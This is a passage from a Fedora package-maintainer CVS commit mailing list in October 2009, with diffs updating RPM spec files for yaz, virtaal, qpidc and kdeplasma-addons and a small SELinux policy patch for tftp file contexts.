retrieving revision 1.19
diff -u -p -r1.18 -r1.19
--- yaz.spec	27 Jun 2009 13:52:02 -0000	1.18
+++ yaz.spec	16 Oct 2009 12:43:11 -0000	1.19
@@ -1,5 +1,5 @@
 Name:           yaz
-Version:        3.0.46
+Version:        3.0.49
 Release:        1%{?dist}
 Summary:        Z39.50/SRW/SRU programs
 
@@ -22,7 +22,7 @@ Summary:        Z39.50 libraries
 Group:          System Environment/Libraries
 
 %description -n lib%{name}
-Z39.50 is a client server protocol for searching and retrieving 
+Z39.50 is a client-server protocol for searching and retrieving 
 information from remote computer databases (ANSI/NISO Z39.50 
 protocol).
 
@@ -32,13 +32,16 @@ Summary:        Development files for Z3
 Group:          Development/Libraries
 Requires:       libyaz = %{version}-%{release}
 Requires:       libxml2-devel, openssl-devel, readline-devel
+Requires:       pkgconfig
 
 %description -n lib%{name}-devel
-Development libraries and includes for the libyaz package.
+Development libraries and includes for the lib%{name} package.
 
 
 %prep
 %setup -q
+# Following file prevents make install to work (conflicts with ./NEWS)
+rm doc/NEWS
 
 
 %build
@@ -51,11 +54,11 @@ make LIBTOOL=%{_bindir}/libtool %{?_smp_
 
 
 %install
-rm -rf $RPM_BUILD_ROOT
-make LIBTOOL=%{_bindir}/libtool DESTDIR=$RPM_BUILD_ROOT install
+rm -rf %{buildroot}
+make LIBTOOL=%{_bindir}/libtool DESTDIR=%{buildroot} install
 # Remove cruft
-find $RPM_BUILD_ROOT -name '*.la' -o -name '*.a' | xargs rm -f
-rm -rf $RPM_BUILD_ROOT%{_docdir}
+find %{buildroot} -name '*.la' -o -name '*.a' | xargs rm -f
+rm -rf %{buildroot}%{_docdir}
 
 
 %check
@@ -63,7 +66,7 @@ make check
 
 
 %clean
-rm -rf $RPM_BUILD_ROOT
+rm -rf %{buildroot}
 
 
 %post -n lib%{name} -p /sbin/ldconfig
@@ -109,6 +112,13 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Thu Oct 01 2009 Guido Grazioli <guido.grazioli at gmail.com> - 3.0.49-1
+- Upstream 3.0.49 (bugfixes and feature enhancements)
+- Require pkgconfig for libyaz-devel (guidelines MUST)
+
+* Mon Jul 27 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 3.0.46-2
+- Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
+
 * Sat Jun 27 2009 Konstantin Ryabitsev <icon at fedoraproject.org> - 3.0.46-1
 - Update to 3.0.46 (miscellaneous bugfixes)
 



From guidograzioli at fedoraproject.org  Fri Oct 16 12:54:26 2009
From: guidograzioli at fedoraproject.org (Guido Grazioli)
Date: Fri, 16 Oct 2009 12:54:26 +0000 (UTC)
Subject: rpms/yaz/F-10 .cvsignore, 1.12, 1.13 sources, 1.12, 1.13 yaz.spec, 
	1.15, 1.16
Message-ID: <20091016125426.4AE5011C00E5@cvs1.fedora.phx.redhat.com>

Author: guidograzioli

Update of /cvs/pkgs/rpms/yaz/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv24333

Modified Files:
	.cvsignore sources yaz.spec 
Log Message:
* Thu Oct 01 2009 Guido Grazioli <guido.grazioli at gmail.com> - 3.0.49-1
- Upstream 3.0.49 (bugfixes and feature enhancements)
- Require pkgconfig for libyaz-devel (guidelines MUST)




Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/yaz/F-10/.cvsignore,v
retrieving revision 1.12
retrieving revision 1.13
diff -u -p -r1.12 -r1.13
--- .cvsignore	1 Jul 2008 03:58:13 -0000	1.12
+++ .cvsignore	16 Oct 2009 12:54:25 -0000	1.13
@@ -1 +1 @@
-yaz-3.0.34.tar.gz
+yaz-3.0.49.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/yaz/F-10/sources,v
retrieving revision 1.12
retrieving revision 1.13
diff -u -p -r1.12 -r1.13
--- sources	1 Jul 2008 03:58:13 -0000	1.12
+++ sources	16 Oct 2009 12:54:25 -0000	1.13
@@ -1 +1 @@
-c99b94cfd0d2d46e3ecc443616d9acc9  yaz-3.0.34.tar.gz
+7402c6444386dc7db6be8bb9617e1e4d  yaz-3.0.49.tar.gz


Index: yaz.spec
===================================================================
RCS file: /cvs/pkgs/rpms/yaz/F-10/yaz.spec,v
retrieving revision 1.15
retrieving revision 1.16
diff -u -p -r1.15 -r1.16
--- yaz.spec	1 Jul 2008 03:58:13 -0000	1.15
+++ yaz.spec	16 Oct 2009 12:54:26 -0000	1.16
@@ -1,5 +1,5 @@
 Name:           yaz
-Version:        3.0.34
+Version:        3.0.49
 Release:        1%{?dist}
 Summary:        Z39.50/SRW/SRU programs
 
@@ -22,7 +22,7 @@ Summary:        Z39.50 libraries
 Group:          System Environment/Libraries
 
 %description -n lib%{name}
-Z39.50 is a client server protocol for searching and retrieving 
+Z39.50 is a client-server protocol for searching and retrieving 
 information from remote computer databases (ANSI/NISO Z39.50 
 protocol).
 
@@ -32,13 +32,16 @@ Summary:        Development files for Z3
 Group:          Development/Libraries
 Requires:       libyaz = %{version}-%{release}
 Requires:       libxml2-devel, openssl-devel, readline-devel
+Requires:       pkgconfig
 
 %description -n lib%{name}-devel
-Development libraries and includes for the libyaz package.
+Development libraries and includes for the lib%{name} package.
 
 
 %prep
 %setup -q
+# Following file prevents make install to work (conflicts with ./NEWS)
+rm doc/NEWS
 
 
 %build
@@ -51,11 +54,11 @@ make LIBTOOL=%{_bindir}/libtool %{?_smp_
 
 
 %install
-rm -rf $RPM_BUILD_ROOT
-make install DESTDIR=$RPM_BUILD_ROOT
+rm -rf %{buildroot}
+make LIBTOOL=%{_bindir}/libtool DESTDIR=%{buildroot} install
 # Remove cruft
-find $RPM_BUILD_ROOT -name '*.la' -o -name '*.a' | xargs rm -f
-rm -rf $RPM_BUILD_ROOT%{_docdir}
+find %{buildroot} -name '*.la' -o -name '*.a' | xargs rm -f
+rm -rf %{buildroot}%{_docdir}
 
 
 %check
@@ -63,7 +66,7 @@ make check
 
 
 %clean
-rm -rf $RPM_BUILD_ROOT
+rm -rf %{buildroot}
 
 
 %post -n lib%{name} -p /sbin/ldconfig
@@ -72,7 +75,7 @@ rm -rf $RPM_BUILD_ROOT
 
 %files
 %defattr(-,root,root,-)
-%doc doc/* README NEWS TODO LICENSE
+%doc doc/* README NEWS LICENSE
 %{_bindir}/yaz-client
 %{_bindir}/yaz-ztest
 %{_bindir}/zoom*
@@ -93,6 +96,7 @@ rm -rf $RPM_BUILD_ROOT
 %defattr(-,root,root,-)
 %{_libdir}/*.so.*
 %{_mandir}/man7/yaz.*
+%{_mandir}/man7/bib1-attr.*
 
 %files -n lib%{name}-devel
 %defattr(-,root,root,-)
@@ -108,6 +112,25 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Thu Oct 01 2009 Guido Grazioli <guido.grazioli at gmail.com> - 3.0.49-1
+- Upstream 3.0.49 (bugfixes and feature enhancements)
+- Require pkgconfig for libyaz-devel (guidelines MUST)
+
+* Mon Jul 27 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 3.0.46-2
+- Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
+
+* Sat Jun 27 2009 Konstantin Ryabitsev <icon at fedoraproject.org> - 3.0.46-1
+- Update to 3.0.46 (miscellaneous bugfixes)
+
+* Wed Feb 25 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 3.0.41-2
+- Rebuilt for https://fedoraproject.org/wiki/Fedora_11_Mass_Rebuild
+
+* Mon Dec 29 2008 Konstantin Ryabitsev <icon at fedoraproject.org> - 3.0.41-1
+- Upstream 3.0.41
+- Always use system libtool
+- Remove TODO from docs
+- Package bib1-attr.7 with libyaz
+
 * Mon Jun 30 2008 Konstantin Ryabitsev <icon at fedoraproject.org> - 3.0.34-1
 - Upstream 3.0.34
 



From dwayne at fedoraproject.org  Fri Oct 16 13:02:35 2009
From: dwayne at fedoraproject.org (dwayne)
Date: Fri, 16 Oct 2009 13:02:35 +0000 (UTC)
Subject: rpms/virtaal/F-12 .cvsignore, 1.10, 1.11 sources, 1.10,
	1.11 virtaal.spec, 1.12, 1.13
Message-ID: <20091016130235.15DCC11C00E5@cvs1.fedora.phx.redhat.com>

Author: dwayne

Update of /cvs/pkgs/rpms/virtaal/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv26208

Modified Files:
	.cvsignore sources virtaal.spec 
Log Message:
* Fri Oct 16 2009 Dwayne Bailey <dwayne at translate.org.za> - 0.4.1-1
- Update to 0.4.1
   - New translations: Turkish, Finnish, Vietnamese
   - Updated translations: Russian, Dutch and Zulu
   - More complete handling of "recent files" (bug 1120)
   - Better alignment with the GNOME human interface guidelines (bug 1095)
   - More reliable ways of obtaining the default font settings (bug 1092)
   - Better handling of HTML tags in the Apertium MT module
   - Small layout improvements (bug 1045, 1138)
- Depend on Translate Toolkit 1.4.1 for fixes to XLIFF, placeable and tmserver



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/virtaal/F-12/.cvsignore,v
retrieving revision 1.10
retrieving revision 1.11
diff -u -p -r1.10 -r1.11
--- .cvsignore	5 Aug 2009 15:02:40 -0000	1.10
+++ .cvsignore	16 Oct 2009 13:02:34 -0000	1.11
@@ -1 +1 @@
-virtaal-0.4.0.tar.bz2
+virtaal-0.4.1.tar.bz2


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/virtaal/F-12/sources,v
retrieving revision 1.10
retrieving revision 1.11
diff -u -p -r1.10 -r1.11
--- sources	5 Aug 2009 15:02:40 -0000	1.10
+++ sources	16 Oct 2009 13:02:34 -0000	1.11
@@ -1 +1 @@
-1d30f5eb86cf36fba609cb5e20de627a  virtaal-0.4.0.tar.bz2
+cbbf64e451edaa2cf12f9a90c5e5d772  virtaal-0.4.1.tar.bz2


Index: virtaal.spec
===================================================================
RCS file: /cvs/pkgs/rpms/virtaal/F-12/virtaal.spec,v
retrieving revision 1.12
retrieving revision 1.13
diff -u -p -r1.12 -r1.13
--- virtaal.spec	5 Aug 2009 15:02:40 -0000	1.12
+++ virtaal.spec	16 Oct 2009 13:02:34 -0000	1.13
@@ -1,7 +1,7 @@
 %{!?python_sitelib: %define python_sitelib %(%{__python} -c "from distutils.sysconfig import get_python_lib; print get_python_lib()")}
 
 Name:           virtaal
-Version:        0.4.0
+Version:        0.4.1
 Release:        1%{?dist}
 Summary:        Localization and translation editor
 
@@ -20,7 +20,7 @@ BuildRequires:  python-devel
 BuildRequires:  desktop-file-utils
 BuildRequires:  gettext
 BuildRequires:  intltool
-Requires:       translate-toolkit >= 1.4
+Requires:       translate-toolkit >= 1.4.1
 Requires:       libtranslate
 Requires:       pygtk2
 Requires:       pygtk2-libglade
@@ -40,16 +40,24 @@ A program for Computer Aided Translation
 Virtaal includes features that allow a localizer to work effectively including:
 syntax highlighting, autocomplete and autocorrect.  By showing only 
 the data that is needed through its simple and effective user interface it
-ensures that you can focus on their current translation task.
+ensures that translators can focus on their current translation task.
 
 A rich set of Translation Memory (TM) plugins provide valuable suggestions to
-the translator from sources such as open-tran.eu, libtranslate, the current 
-file, and the translators own TM server.
+the translator from sources such as Open-Tran.eu, the current file, and the 
+translators own TM server.  Similarly Machine Translation (MT) suggestions can 
+come from Apertium and libtranslate.
+
+The terminology plugin system will provide terminology hints from Open-Tran.eu
+and local terminology files.
+
+Placeholders such as variables, abbreviations, URLs, emails and special 
+punctutions are highlighted for easy insertion into the translations.
 
 Virtaal is able to edit any of the following formats: XLIFF, Gettext PO and 
 .mo, Qt .ts, .qph and .qm, Wordfast TM, TMX and TBX. The Translate Toolkit 
-converters allow translators to edit: OpenOffice.org SDF, Java (and Mozilla) 
-.properties and Mozilla DTD files.
+converters allow translators to edit: OpenDocument Format (ODF), 
+OpenOffice.org SDF, Java (and Mozilla) .properties, Mozilla DTD files,
+subtitles, and other formats.
 
 
 %prep
@@ -141,6 +149,17 @@ rm -rf %{buildroot}
 
 
 %changelog
+* Fri Oct 16 2009 Dwayne Bailey <dwayne at translate.org.za> - 0.4.1-1
+- Update to 0.4.1
+   - New translations: Turkish, Finnish, Vietnamese
+   - Updated translations: Russian, Dutch and Zulu
+   - More complete handling of "recent files" (bug 1120)
+   - Better alignment with the GNOME human interface guidelines (bug 1095)
+   - More reliable ways of obtaining the default font settings (bug 1092)
+   - Better handling of HTML tags in the Apertium MT module
+   - Small layout improvements (bug 1045, 1138)
+- Depend on Translate Toolkit 1.4.1 for fixes to XLIFF, placeable and tmserver
+
 * Wed Aug 5 2009 Dwayne Bailey <dwayne at translate.org.za> - 0.4.0-1
 - Update to 0.4.0 final
   - Terminology suggestions



From mgrepl at fedoraproject.org  Fri Oct 16 13:03:48 2009
From: mgrepl at fedoraproject.org (Miroslav Grepl)
Date: Fri, 16 Oct 2009 13:03:48 +0000 (UTC)
Subject: rpms/selinux-policy/F-11 policy-20090521.patch,1.57,1.58
Message-ID: <20091016130348.2274311C00E5@cvs1.fedora.phx.redhat.com>

Author: mgrepl

Update of /cvs/extras/rpms/selinux-policy/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv26537

Modified Files:
	policy-20090521.patch 
Log Message:
- Allow xdm to unlink xauth_home_t



policy-20090521.patch:
 man/man8/samba_selinux.8                  |    4 
 policy/mcs                                |   12 -
 policy/modules/admin/certwatch.te         |    4 
 policy/modules/admin/kismet.te            |   16 +
 policy/modules/admin/logrotate.te         |    6 
 policy/modules/admin/mrtg.te              |    8 
 policy/modules/admin/prelink.te           |    9 
 policy/modules/admin/readahead.te         |    2 
 policy/modules/admin/rpm.fc               |    1 
 policy/modules/admin/rpm.if               |   46 +++++
 policy/modules/admin/rpm.te               |    4 
 policy/modules/admin/shorewall.fc         |   12 +
 policy/modules/admin/shorewall.if         |  166 ++++++++++++++++++
 policy/modules/admin/shorewall.te         |  103 +++++++++++
 policy/modules/admin/sudo.if              |    4 
 policy/modules/admin/tzdata.te            |    2 
 policy/modules/admin/usermanage.if        |    3 
 policy/modules/admin/usermanage.te        |    3 
 policy/modules/apps/awstats.te            |    2 
 policy/modules/apps/calamaris.te          |    4 
 policy/modules/apps/gitosis.fc            |    4 
 policy/modules/apps/gitosis.if            |   96 ++++++++++
 policy/modules/apps/gitosis.te            |   43 ++++
 policy/modules/apps/gnome.te              |   10 +
 policy/modules/apps/gpg.if                |    2 
 policy/modules/apps/gpg.te                |    1 
 policy/modules/apps/java.te               |    2 
 policy/modules/apps/mozilla.if            |   16 +
 policy/modules/apps/mozilla.te            |   14 -
 policy/modules/apps/nsplugin.if           |    2 
 policy/modules/apps/ptchown.fc            |    2 
 policy/modules/apps/ptchown.if            |   22 ++
 policy/modules/apps/ptchown.te            |   40 ++++
 policy/modules/apps/qemu.fc               |    1 
 policy/modules/apps/qemu.te               |    5 
 policy/modules/apps/sandbox.if            |  134 +++++++++++---
 policy/modules/apps/sandbox.te            |  274 +++++++++++++++++++++++++++---
 policy/modules/apps/screen.if             |    1 
 policy/modules/apps/vmware.fc             |    1 
 policy/modules/apps/vmware.te             |    6 
 policy/modules/kernel/corecommands.fc     |   10 -
 policy/modules/kernel/corenetwork.te.in   |    5 
 policy/modules/kernel/devices.fc          |    3 
 policy/modules/kernel/devices.if          |  145 +++++++++++++++
 policy/modules/kernel/devices.te          |   13 +
 policy/modules/kernel/domain.if           |   45 +---
 policy/modules/kernel/domain.te           |   31 +++
 policy/modules/kernel/files.if            |    4 
 policy/modules/kernel/kernel.if           |    2 
 policy/modules/kernel/storage.fc          |    1 
 policy/modules/kernel/storage.if          |    2 
 policy/modules/kernel/terminal.if         |   19 ++
 policy/modules/roles/staff.te             |   12 +
 policy/modules/roles/sysadm.if            |   35 +++
 policy/modules/roles/sysadm.te            |    4 
 policy/modules/roles/unconfineduser.te    |   10 -
 policy/modules/roles/unprivuser.te        |    4 
 policy/modules/roles/xguest.te            |    6 
 policy/modules/services/afs.fc            |    2 
 policy/modules/services/afs.te            |    1 
 policy/modules/services/apache.fc         |    5 
 policy/modules/services/apache.te         |    1 
 policy/modules/services/automount.if      |   18 +
 policy/modules/services/avahi.te          |    2 
 policy/modules/services/bluetooth.te      |    1 
 policy/modules/services/clamav.te         |    4 
 policy/modules/services/cobbler.fc        |    2 
 policy/modules/services/cobbler.if        |   21 ++
 policy/modules/services/cobbler.te        |   10 +
 policy/modules/services/consolekit.te     |    3 
 policy/modules/services/cron.if           |   19 --
 policy/modules/services/cron.te           |    2 
 policy/modules/services/cups.fc           |    2 
 policy/modules/services/cups.te           |   28 ++-
 policy/modules/services/cyrus.te          |    1 
 policy/modules/services/dbus.if           |   28 +++
 policy/modules/services/dcc.te            |    8 
 policy/modules/services/ddclient.if       |   25 ++
 policy/modules/services/devicekit.te      |    6 
 policy/modules/services/dnsmasq.te        |    8 
 policy/modules/services/dovecot.if        |   34 +--
 policy/modules/services/dovecot.te        |   22 +-
 policy/modules/services/exim.te           |    7 
 policy/modules/services/fail2ban.te       |    1 
 policy/modules/services/fetchmail.te      |    2 
 policy/modules/services/fprintd.te        |   10 -
 policy/modules/services/ftp.te            |   15 +
 policy/modules/services/gnomeclock.te     |    1 
 policy/modules/services/gpsd.fc           |    3 
 policy/modules/services/gpsd.te           |   19 +-
 policy/modules/services/hal.te            |   15 +
 policy/modules/services/hddtemp.fc        |    4 
 policy/modules/services/hddtemp.if        |   38 ++++
 policy/modules/services/hddtemp.te        |   40 ++++
 policy/modules/services/kerberos.if       |    2 
 policy/modules/services/kerberos.te       |   12 +
 policy/modules/services/lircd.te          |    7 
 policy/modules/services/mailman.if        |    1 
 policy/modules/services/milter.if         |    2 
 policy/modules/services/mta.if            |    1 
 policy/modules/services/mysql.te          |    6 
 policy/modules/services/nis.te            |    3 
 policy/modules/services/nslcd.fc          |    4 
 policy/modules/services/nslcd.if          |  145 +++++++++++++++
 policy/modules/services/nslcd.te          |   50 +++++
 policy/modules/services/nx.fc             |    3 
 policy/modules/services/nx.if             |   20 ++
 policy/modules/services/openvpn.te        |   14 +
 policy/modules/services/pcscd.if          |    3 
 policy/modules/services/pcscd.te          |    3 
 policy/modules/services/polkit.fc         |    2 
 policy/modules/services/polkit.if         |    2 
 policy/modules/services/polkit.te         |    3 
 policy/modules/services/postfix.if        |   26 ++
 policy/modules/services/postfix.te        |   26 --
 policy/modules/services/postgresql.te     |    2 
 policy/modules/services/ppp.if            |    6 
 policy/modules/services/ppp.te            |    2 
 policy/modules/services/privoxy.te        |    3 
 policy/modules/services/pyzor.fc          |    2 
 policy/modules/services/pyzor.te          |    2 
 policy/modules/services/radvd.te          |    2 
 policy/modules/services/rpc.te            |   15 +
 policy/modules/services/rpcbind.if        |   20 ++
 policy/modules/services/rsync.te          |    2 
 policy/modules/services/samba.te          |    6 
 policy/modules/services/sasl.te           |    6 
 policy/modules/services/sendmail.if       |   39 ++++
 policy/modules/services/sendmail.te       |    7 
 policy/modules/services/setroubleshoot.te |    5 
 policy/modules/services/shorewall.fc      |   12 -
 policy/modules/services/shorewall.if      |  166 ------------------
 policy/modules/services/shorewall.te      |  102 -----------
 policy/modules/services/smartmon.te       |    4 
 policy/modules/services/snmp.if           |   37 ++++
 policy/modules/services/snmp.te           |    2 
 policy/modules/services/spamassassin.fc   |    8 
 policy/modules/services/spamassassin.te   |    2 
 policy/modules/services/squid.te          |    2 
 policy/modules/services/ssh.if            |   23 ++
 policy/modules/services/ssh.te            |   14 +
 policy/modules/services/sssd.fc           |    4 
 policy/modules/services/sssd.if           |   16 -
 policy/modules/services/sssd.te           |   35 +--
 policy/modules/services/tftp.fc           |    2 
 policy/modules/services/uucp.te           |    2 
 policy/modules/services/virt.fc           |    1 
 policy/modules/services/virt.te           |   27 ++
 policy/modules/services/xserver.fc        |    3 
 policy/modules/services/xserver.if        |   41 ++++
 policy/modules/services/xserver.te        |   17 +
 policy/modules/system/authlogin.fc        |    3 
 policy/modules/system/authlogin.if        |  270 ++++++++++++++++++-----------
 policy/modules/system/authlogin.te        |   27 +-
 policy/modules/system/init.fc             |    2 
 policy/modules/system/init.te             |    6 
 policy/modules/system/ipsec.te            |   61 +++++-
 policy/modules/system/iptables.te         |    4 
 policy/modules/system/iscsi.te            |    1 
 policy/modules/system/libraries.fc        |   13 +
 policy/modules/system/locallogin.te       |    6 
 policy/modules/system/logging.fc          |    1 
 policy/modules/system/logging.te          |    4 
 policy/modules/system/miscfiles.fc        |    1 
 policy/modules/system/mount.if            |    2 
 policy/modules/system/mount.te            |    1 
 policy/modules/system/sysnetwork.if       |    1 
 policy/modules/system/sysnetwork.te       |   17 +
 policy/modules/system/udev.fc             |    1 
 policy/modules/system/udev.te             |   10 +
 policy/modules/system/userdomain.if       |   35 ++-
 policy/modules/system/virtual.te          |    5 
 policy/modules/system/xen.te              |    1 
 173 files changed, 2604 insertions(+), 688 deletions(-)

Index: policy-20090521.patch
===================================================================
RCS file: /cvs/extras/rpms/selinux-policy/F-11/policy-20090521.patch,v
retrieving revision 1.57
retrieving revision 1.58
diff -u -p -r1.57 -r1.58
--- policy-20090521.patch	16 Oct 2009 11:58:40 -0000	1.57
+++ policy-20090521.patch	16 Oct 2009 13:03:47 -0000	1.58
@@ -4993,6 +4993,15 @@ diff -b -B --ignore-all-space --exclude-
  optional_policy(`
  	dbus_system_bus_client(sssd_t)
  	dbus_connect_system_bus(sssd_t)
+diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/services/tftp.fc serefpolicy-3.6.12/policy/modules/services/tftp.fc
+--- nsaserefpolicy/policy/modules/services/tftp.fc	2009-04-07 21:54:45.000000000 +0200
++++ serefpolicy-3.6.12/policy/modules/services/tftp.fc	2009-10-16 15:01:44.000000000 +0200
+@@ -5,4 +5,4 @@
+ /tftpboot		-d	gen_context(system_u:object_r:tftpdir_t,s0)
+ /tftpboot/.*			gen_context(system_u:object_r:tftpdir_t,s0)
+ 
+-/var/lib/tftpboot(/.*)?		gen_context(system_u:object_r:tftpdir_t,s0)
++/var/lib/tftpboot(/.*)?		gen_context(system_u:object_r:tftpdir_rw_t,s0)
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/services/uucp.te serefpolicy-3.6.12/policy/modules/services/uucp.te
 --- nsaserefpolicy/policy/modules/services/uucp.te	2009-06-25 10:19:44.000000000 +0200
 +++ serefpolicy-3.6.12/policy/modules/services/uucp.te	2009-07-07 09:47:39.000000000 +0200



From nsantos at fedoraproject.org  Fri Oct 16 13:12:20 2009
From: nsantos at fedoraproject.org (Nuno Santos)
Date: Fri, 16 Oct 2009 13:12:20 +0000 (UTC)
Subject: rpms/qpidc/F-11 qpidc.spec,1.91,1.92
Message-ID: <20091016131220.4CDB911C00E5@cvs1.fedora.phx.redhat.com>

Author: nsantos

Update of /cvs/extras/rpms/qpidc/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv29077

Modified Files:
	qpidc.spec 
Log Message:
Bump .so number


Index: qpidc.spec
===================================================================
RCS file: /cvs/extras/rpms/qpidc/F-11/qpidc.spec,v
retrieving revision 1.91
retrieving revision 1.92
diff -u -p -r1.91 -r1.92
--- qpidc.spec	15 Oct 2009 22:08:03 -0000	1.91
+++ qpidc.spec	16 Oct 2009 13:12:19 -0000	1.92
@@ -410,7 +410,7 @@ rm -rf %{buildroot}
 %_libdir/libqmf.so.1
 %_libdir/libqmf.so.1.0.0
 %_libdir/libqmfengine.so.1
-%_libdir/libqmfengine.so.1.0.0
+%_libdir/libqmfengine.so.1.0.1
 %_libdir/libqmfconsole.so.3
 %_libdir/libqmfconsole.so.3.0.0
 



From nsantos at fedoraproject.org  Fri Oct 16 13:14:24 2009
From: nsantos at fedoraproject.org (Nuno Santos)
Date: Fri, 16 Oct 2009 13:14:24 +0000 (UTC)
Subject: rpms/qpidc/F-12 qpidc.spec,1.104,1.105
Message-ID: <20091016131424.4957811C0267@cvs1.fedora.phx.redhat.com>

Author: nsantos

Update of /cvs/extras/rpms/qpidc/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv29605

Modified Files:
	qpidc.spec 
Log Message:
Bump .so number


Index: qpidc.spec
===================================================================
RCS file: /cvs/extras/rpms/qpidc/F-12/qpidc.spec,v
retrieving revision 1.104
retrieving revision 1.105
diff -u -p -r1.104 -r1.105
--- qpidc.spec	15 Oct 2009 22:10:08 -0000	1.104
+++ qpidc.spec	16 Oct 2009 13:14:24 -0000	1.105
@@ -410,7 +410,7 @@ rm -rf %{buildroot}
 %_libdir/libqmf.so.1
 %_libdir/libqmf.so.1.0.0
 %_libdir/libqmfengine.so.1
-%_libdir/libqmfengine.so.1.0.0
+%_libdir/libqmfengine.so.1.0.1
 %_libdir/libqmfconsole.so.3
 %_libdir/libqmfconsole.so.3.0.0
 



From rdieter at fedoraproject.org  Fri Oct 16 13:36:38 2009
From: rdieter at fedoraproject.org (Rex Dieter)
Date: Fri, 16 Oct 2009 13:36:38 +0000 (UTC)
Subject: rpms/kdeplasma-addons/F-11
	kdeplasma-addons-4.3.2-microblog_twitter.patch, 1.1,
	1.2 kdeplasma-addons.spec, 1.43, 1.44
Message-ID: <20091016133638.C779511C0267@cvs1.fedora.phx.redhat.com>

Author: rdieter

Update of /cvs/pkgs/rpms/kdeplasma-addons/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv2718/F-11

Modified Files:
	kdeplasma-addons-4.3.2-microblog_twitter.patch 
	kdeplasma-addons.spec 
Log Message:
* Fri Oct 16 2009 Rex Dieter <rdieter at fedoraproject.org> - 4.3.2-3
- rev microblog/twitter patch (kde#200475#c36)


kdeplasma-addons-4.3.2-microblog_twitter.patch:
 microblog.cpp |    8 ++++----
 microblog.h   |    4 ++--
 2 files changed, 6 insertions(+), 6 deletions(-)

Index: kdeplasma-addons-4.3.2-microblog_twitter.patch
===================================================================
RCS file: /cvs/pkgs/rpms/kdeplasma-addons/F-11/kdeplasma-addons-4.3.2-microblog_twitter.patch,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- kdeplasma-addons-4.3.2-microblog_twitter.patch	10 Oct 2009 20:35:21 -0000	1.1
+++ kdeplasma-addons-4.3.2-microblog_twitter.patch	16 Oct 2009 13:36:38 -0000	1.2
@@ -8,7 +8,7 @@
 +        qulonglong maxId = m_lastTweet;
          foreach (const QString &id, data.keys()) {
 -            ulong i = id.toULong();
-+            qulonglong i = id.toULong();
++            qulonglong i = id.toULongLong();
              //kDebug() << i << m_lastTweet;
              if (i > m_lastTweet) {
                  newCount++;


Index: kdeplasma-addons.spec
===================================================================
RCS file: /cvs/pkgs/rpms/kdeplasma-addons/F-11/kdeplasma-addons.spec,v
retrieving revision 1.43
retrieving revision 1.44
diff -u -p -r1.43 -r1.44
--- kdeplasma-addons.spec	10 Oct 2009 20:35:22 -0000	1.43
+++ kdeplasma-addons.spec	16 Oct 2009 13:36:38 -0000	1.44
@@ -1,6 +1,6 @@
 Name:           kdeplasma-addons
 Version:        4.3.2
-Release:        2%{?dist}
+Release:        3%{?dist}
 Summary:        Additional plasmoids for KDE
 
 Group:          User Interface/Desktops
@@ -165,6 +165,9 @@ rm -rf %{buildroot}
 
 
 %changelog
+* Fri Oct 16 2009 Rex Dieter <rdieter at fedoraproject.org> - 4.3.2-3
+- rev microblog/twitter patch (kde#200475#c36)
+
 * Sat Oct 10 2009 Rex Dieter <rdieter at fedoraproject.org> - 4.3.2-2
 - microblog/twitter fix (kde#209891)
 



From rdieter at fedoraproject.org  Fri Oct 16 13:36:38 2009
From: rdieter at fedoraproject.org (Rex Dieter)
Date: Fri, 16 Oct 2009 13:36:38 +0000 (UTC)
Subject: rpms/kdeplasma-addons/F-10
	kdeplasma-addons-4.3.2-microblog_twitter.patch, 1.1,
	1.2 kdeplasma-addons.spec, 1.25, 1.26
Message-ID: <20091016133638.9D95E11C00E5@cvs1.fedora.phx.redhat.com>

Author: rdieter

Update of /cvs/pkgs/rpms/kdeplasma-addons/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv2718/F-10

Modified Files:
	kdeplasma-addons-4.3.2-microblog_twitter.patch 
	kdeplasma-addons.spec 
Log Message:
* Fri Oct 16 2009 Rex Dieter <rdieter at fedoraproject.org> - 4.3.2-3
- rev microblog/twitter patch (kde#200475#c36)


kdeplasma-addons-4.3.2-microblog_twitter.patch:
 microblog.cpp |    8 ++++----
 microblog.h   |    4 ++--
 2 files changed, 6 insertions(+), 6 deletions(-)

Index: kdeplasma-addons-4.3.2-microblog_twitter.patch
===================================================================
RCS file: /cvs/pkgs/rpms/kdeplasma-addons/F-10/kdeplasma-addons-4.3.2-microblog_twitter.patch,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- kdeplasma-addons-4.3.2-microblog_twitter.patch	10 Oct 2009 20:35:21 -0000	1.1
+++ kdeplasma-addons-4.3.2-microblog_twitter.patch	16 Oct 2009 13:36:38 -0000	1.2
@@ -8,7 +8,7 @@
 +        qulonglong maxId = m_lastTweet;
          foreach (const QString &id, data.keys()) {
 -            ulong i = id.toULong();
-+            qulonglong i = id.toULong();
++            qulonglong i = id.toULongLong();
              //kDebug() << i << m_lastTweet;
              if (i > m_lastTweet) {
                  newCount++;


Index: kdeplasma-addons.spec
===================================================================
RCS file: /cvs/pkgs/rpms/kdeplasma-addons/F-10/kdeplasma-addons.spec,v
retrieving revision 1.25
retrieving revision 1.26
diff -u -p -r1.25 -r1.26
--- kdeplasma-addons.spec	10 Oct 2009 20:35:21 -0000	1.25
+++ kdeplasma-addons.spec	16 Oct 2009 13:36:38 -0000	1.26
@@ -1,6 +1,6 @@
 Name:           kdeplasma-addons
 Version:        4.3.2
